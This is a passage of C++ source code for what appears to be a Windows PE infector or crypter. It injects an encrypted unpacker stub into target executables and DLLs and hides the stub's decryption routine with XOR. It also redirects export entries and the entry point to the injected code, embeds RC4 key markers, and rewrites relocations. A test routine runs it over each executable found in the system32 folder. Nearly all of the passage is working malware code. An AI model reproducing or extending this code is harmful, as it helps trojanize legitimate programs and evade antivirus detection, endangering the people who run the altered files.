        (PIMAGE_EXPORT_DIRECTORY) pInfectMe->RawPointer(DataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
    if (ExportDirectory != NULL)
    {
        AddressOfFunctions = (LPDWORD) pInfectMe->RawPointer(ExportDirectory->AddressOfFunctions);
        bExportPresent = TRUE;
        
        if (pInfectMe->IsDLL()) 
            table = dll32_FakeExport;
        else
            table = exe32_FakeExport;

    }
    
    
    LPVOID lpRawSource = rva2addr(pImageDosHeader, pImageNtHeaders32, CALC_OFFSET(LPVOID, pImageDosHeader, pUnpackerCode->VirtualAddress));
    
    int maxoffset = (virtualSize_Stub - pUnpackerCode->SizeOfRawData);
    
    int basesize  = 0;

    if (maxoffset <= 0)
        basesize = 0;
    else
        basesize = (rand() % maxoffset) & 0xfffff000;    // offset

    std::cout << "[CONFIG] Section Name: " << szSectionName << std::endl;
    std::cout << "[CONFIG]         base: " << std::hex << basesize << std::endl;
    std::cout << "[CONFIG]         size: " << std::hex << virtualSize_Stub << std::endl;

    LPVOID lpRawDestin = CALC_OFFSET(LPVOID, pInfectSection->RawData(), basesize);    // an offset inside acceptable range


    /*******************************************************************************************
     * WARNING!!!
     *    The next memcpy transfer section from our binary into target!
     *    All patch/modification must be done after next line!
     ******************************************************************************************/
    memcpy(lpRawDestin, lpRawSource, pUnpackerCode->SizeOfRawData);

    /**
     *    Decryption routine
     **/
    if (pInfectMe->IsDLL())
    {    // process code for encryption of "RC4"
    
    }
    else
    {    // process code for encryption of TEA
        void *start = static_cast<void *>(&tea_decrypt);
        void *end = static_cast<void *>(&tea_decrypt_end_marker);
        int size = static_cast<int>((int) end - (int) start);

        char *encrypt = (char *) FindBlockMem((LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, start, size);

        while(size-- > 0) 
        {
            *encrypt++ ^= 0x66;
        }

    }

    /**
     *    EXPORT SYMBOLS
     **/
    if (bExportPresent && pInfectMe->IsDLL())
    {    // DLL - Patch 
        for(int i=0; i < ExportDirectory->NumberOfFunctions; i++)
        {
            ULONG exportRVA = table[i];

            if (exportRVA == NULL)
            {
                std::cout << "Warning -> more exports into module!" << std::endl;
                continue;    // no more symbols!
            }

            ULONG exportSymbolEntryPoint = exportRVA - ((ULONG) pImageDosHeader) - pUnpackerCode->VirtualAddress; // - pImageNtHeaders64->OptionalHeader.SectionAlignment); // 
        
            exportSymbolEntryPoint = pInfectSection->VirtualAddress() + basesize + exportSymbolEntryPoint; // - pInfectMeNtHeader->OptionalHeader.SectionAlignment;
        
            DWORD dwOldValue = AddressOfFunctions[i];
            AddressOfFunctions[i] = exportSymbolEntryPoint;
        
            Patch_EXPORT_SYMBOL(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, (LPVOID) table[i], exportSymbolEntryPoint, dwOldValue - 0x1000);
        }
    }
    else if (bExportPresent)
    {    // EXE - overwrite "export"
        int stubsize = (int)(table[1] - table[0]);

        PIMAGE_DATA_DIRECTORY dir = pInfectMe->DataDirectory();

        BYTE watermark[8];

        if (dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress != 0)
        {
            PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) pInfectMe->RawPointer(dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

            memcpy(watermark, pInfectMe->RawPointer(pExportDir->Name), 8);
        }

        for(int i = 0; i < (sizeof(table) / sizeof(ULONG)); i++)
        {    //
            ULONG exportRVA = table[i];
            ULONG exportSymbolEntryPoint = exportRVA - ((ULONG) pImageDosHeader) - pUnpackerCode->VirtualAddress; // - pImageNtHeaders64->OptionalHeader.SectionAlignment); // 
        
            exportSymbolEntryPoint = pInfectSection->VirtualAddress() + basesize + exportSymbolEntryPoint; // - pInfectMeNtHeader->OptionalHeader.SectionAlignment;

            LPVOID lp = FindBlockMem((LPBYTE)lpRawDestin, pUnpackerCode->SizeOfRawData, (LPVOID) table[i], stubsize);

            if (lp != NULL)
                memset(lp, 0xCC, stubsize);
        }
    }

    DWORD dwOffset = RoundUp(pUnpackerCode->SizeOfRawData, 16);

    ULONG offsetEntryPoint = (ULONG) (DllEntryPoint);

    ULONG rvaEntryPoint = offsetEntryPoint - ((ULONG) pImageDosHeader) - pUnpackerCode->VirtualAddress; // - pImageNtHeaders64->OptionalHeader.SectionAlignment); // 
    
    DWORD AddressOfEntryPoint = pInfectMe->NtHeader()->OptionalHeader.AddressOfEntryPoint;
    
    if (pInfectMe->IsDLL() == FALSE)
    {    // it's a dll!!
        offsetEntryPoint = (ULONG) (__crt0Startup);
        rvaEntryPoint = offsetEntryPoint - ((ULONG) pImageDosHeader) - pUnpackerCode->VirtualAddress; // - pImageNtHeaders64->OptionalHeader.SectionAlignment); // 
    }
    

    //////////////////////
    // write new entry point!
    pInfectMe->NtHeader()->OptionalHeader.AddressOfEntryPoint = pInfectSection->VirtualAddress() + basesize + rvaEntryPoint; // - pInfectMeNtHeader->OptionalHeader.SectionAlignment;
    ///////////////////////
    
    if (kernel32GetProcAddress_Offset == 0 || kernel32LoadLibraryA_Offset == 0)
    {
        std::cout << "Error! KERNEL32!GetProcAddress/LoadLibraryA not found in IAT" << std::endl;
        return 0;
    }

    ULONG64 *passKeyPtr = (ULONG64*) &passKey;

    //Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pSectionInput->SizeOfRawData, &_EntryPoint, 9, AddressOfEntryPoint);

    /**
     *    patch code
     **/
    if (pInfectMe->IsDLL())
    {    // DLL ! FIX entry point
        Patch_Entry(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_EntryPoint, 0x10, AddressOfEntryPoint-0x1000);
        Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_dll32_LoadLibraryA, 0x12, kernel32LoadLibraryA_Offset);
        Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_dll32_GetProcAddress, 0x12, kernel32GetProcAddress_Offset);
        Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_GetModuleFileNameA, 0x12, kernel32GetModuleFileNameA_Offset);
    }
    else
    {    // EXE ! FIX entry point
        Patch_Entry(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_CrtStartup, 0x0A, AddressOfEntryPoint, 0x0a);
        //Patch_Entry(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_GETBASE, 0x0a, pInfectSection->VirtualAddress() + basesize, 0x01);
        //Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_exe_LoadLibraryA, 0x0c, kernel32LoadLibraryA_Offset);
        //Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_exe_GetProcAddress, 0x0c, kernel32GetProcAddress_Offset);
        Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_exe_GetModuleFileNameA, 0x0c, kernel32GetModuleFileNameA_Offset);
    }

    
    if (kernel32CreateFileA_Offset == 0)
    {
        ULONG exportRVA = (pInfectMe->IsDLL()) ? (ULONG) _CreateFileA : NULL; //(ULONG) _exe_CreateFileA;

        ULONG exportSymbolEntryPoint = exportRVA - ((ULONG) pImageDosHeader) - pUnpackerCode->VirtualAddress; // - pImageNtHeaders64->OptionalHeader.SectionAlignment); // 
        
        exportSymbolEntryPoint = pInfectSection->VirtualAddress() + basesize + exportSymbolEntryPoint; // - pInfectMeNtHeader->OptionalHeader.SectionAlignment;
        LPBYTE lp = (LPBYTE) FindBlockMem((LPBYTE)lpRawDestin, pInfectSection->SizeOfRawData(), (pInfectMe->IsDLL()) ? (LPVOID) _CreateFileA : NULL /*(LPVOID) _exe_CreateFileA*/, 0x12);

        if (lp != NULL)
        {
            char symbolname[17] = { '~', 'C', 'r', 'e', 'a', 't', 'e', 0x01, 0x01, 0x01, 0x01, 'F', 'i', 'l','e','A',0x00};

            memcpy(lp, symbolname, 7);
            memcpy(lp+0x0b, symbolname+0x0b,6);
        }

    }
    else
    {    // applying patch!!!
        Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, (pInfectMe->IsDLL()) ? &_CreateFileA : NULL /*&_exe_CreateFileA*/, 0x12, kernel32CreateFileA_Offset);
    }
    //Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, (pInfectMe->IsDLL()) ? &_SetFilePointer : &_exe_SetFilePointer, 0x12, kernel32SetFilePointer_Offset);
    Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, (pInfectMe->IsDLL()) ? &_ReadFile : &_exe_ReadFile, 0x12, kernel32ReadFile_Offset);
    Patch_MARKER(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, (pInfectMe->IsDLL()) ? &_CloseHandle : &_exe_CloseHandle, 0x12, kernel32CloseHandle_Offset);

    Patch_MARKER_QWORD(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_rc4key0, passKeyPtr[0]);
    Patch_MARKER_QWORD(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_rc4key1, passKeyPtr[1]);

    Patch_MARKER_DWORD(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &dwRelocSize, DataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
    Patch_MARKER_DWORD(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &lpRelocAddress, DataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    
    if (pInfectMe->IsDLL())
    {    // nothing!!!
    }
    else
    {    // save preferred image base
        Patch_MARKER_DWORD(pInfectMe, (LPBYTE) lpRawDestin, pUnpackerCode->SizeOfRawData, &_baseAddress, pInfectMe->NtHeader()->OptionalHeader.ImageBase);
    }

    // Transfer our .reloc into .reloc of target
    
    DWORD dwNewRelocSize = 0;
    DWORD dwNewRelocOffset = 0;
    
    if (relocSection != NULL)
    {    // there are a relocation
        // space available into section!
        dwOffset = 0; // RoundUp(relocSection->VirtualSize(), 0x10);
        dwNewRelocOffset = relocSection->VirtualAddress(); //+ dwOffset;
        LPVOID lpWriteInto = CALC_OFFSET(LPVOID, relocSection->RawData(), dwOffset);
        dwNewRelocSize = Transfer_Reloc_Table(pImageDosHeader, pImageNtHeaders32, pUnpackerCode, lpWriteInto, pInfectSection->VirtualAddress() + basesize, pInfectMe, pInfectMe->NtHeader());
        //relocSection->GetSectionHeader()->Misc.VirtualSize = dwOffset + dwNewRelocSize;
    }
    else
    {    // allocate new section inside ".text" section
        dwOffset = RoundUp(pUnpackerCode->Misc.VirtualSize, 16);
        dwNewRelocSize = Transfer_Reloc_Table(pImageDosHeader, pImageNtHeaders32, pUnpackerCode, CALC_OFFSET(LPVOID, lpRawDestin, dwOffset + basesize ), pInfectSection->VirtualAddress(), pInfectMe, pInfectMe->NtHeader());
        dwNewRelocOffset = pInfectSection->VirtualAddress() + dwOffset;
    }

    pInfectMe->NtHeader()->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = dwNewRelocSize;
    pInfectMe->NtHeader()->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = dwNewRelocOffset;

    //pInfectSection->

    //SYSTEMTIME time;
    //GetLocalTime(&time);

    //pInfectMe->NtHeader()->FileHeader.TimeDateStamp = 0x51821d3c;

    if (argc > 2)
    {
        char tmpName[MAX_PATH];

        strcpy(tmpName, argv[2]);
        int lentmp = strlen(tmpName);

        if (tmpName[lentmp-1] == '\\')
        {    // random name!
            SYSTEMTIME time;
            GetSystemTime(&time);
            sprintf(tmpName, "%s%04i%02i%02i_%02i%02i.exe", argv[2], time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute);
        }
        pInfectMe->Save(tmpName);
    }
    else
        pInfectMe->Save(argv[1]);

    delete pInfectMe;    // destroy and release memory!
    delete morph;        // destroy and release memory!

    return 0;
}

int filter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
{
    std::cout << "caught AV as expected. " << std::endl;
    return EXCEPTION_EXECUTE_HANDLER;
}

int main32_test(int argc, char *argv[])
{
    char szOutputFile[MAX_PATH];
    char szInputFile[MAX_PATH];
    char szFakeFile[MAX_PATH];
    char szWindirPath[MAX_PATH];

    char *fakeargv[] = { NULL, szInputFile, szOutputFile, szFakeFile };
    
    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    LPFN_ISWOW64PROCESS fnIsWow64Process;

    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle("kernel32"),"IsWow64Process");


    DWORD dwIgnore = GetEnvironmentVariableA("windir", szWindirPath, MAX_PATH);

    if (dwIgnore == 0)
    {    // try default c:\windows
        strcpy(szWindirPath, "C:\\windows\\");
    }
    else
    {
        int i = strlen(szWindirPath);

        if (szWindirPath[i-1] != '\\')
            strcat(szWindirPath, "\\");
    }

    if(NULL != fnIsWow64Process)
    {
        BOOL bIsWow64 = FALSE;

        fnIsWow64Process(GetCurrentProcess(),&bIsWow64);

        if (bIsWow64)
            strcat(szWindirPath, "syswow64\\");
        else
            strcat(szWindirPath, "system32\\");
    }
    else
    {
        strcat(szWindirPath, "system32\\");
    }
    
    char szFindPath[MAX_PATH];
    sprintf(szFindPath, "%s*.exe", szWindirPath);

    WIN32_FIND_DATA findfiledata;
    HANDLE hLook = FindFirstFileA(szFindPath, &findfiledata);
        
    do
    {    // perform a backup!
        strcpy(szInputFile, argv[1]);
        sprintf(szFakeFile, "%s%s", szWindirPath, findfiledata.cFileName);
        sprintf(szOutputFile, "%s_%s", argv[2], findfiledata.cFileName);
        
        std::cout << "Test using " << szFakeFile;
        
        //strcpy(szFakeFile, "c:\\tools\\putty.exe");

        __try 
        {     
            main32(4, fakeargv);
            std::cout << ".... done" << std::endl;
        }
        __except(filter(GetExceptionCode(), GetExceptionInformation())) 
        {
            std::cout << ".... done" << std::endl;
        }
    
    } while(FindNextFileA(hLook, &findfiledata));

    FindClose(hLook);
    return 1;
}


#endif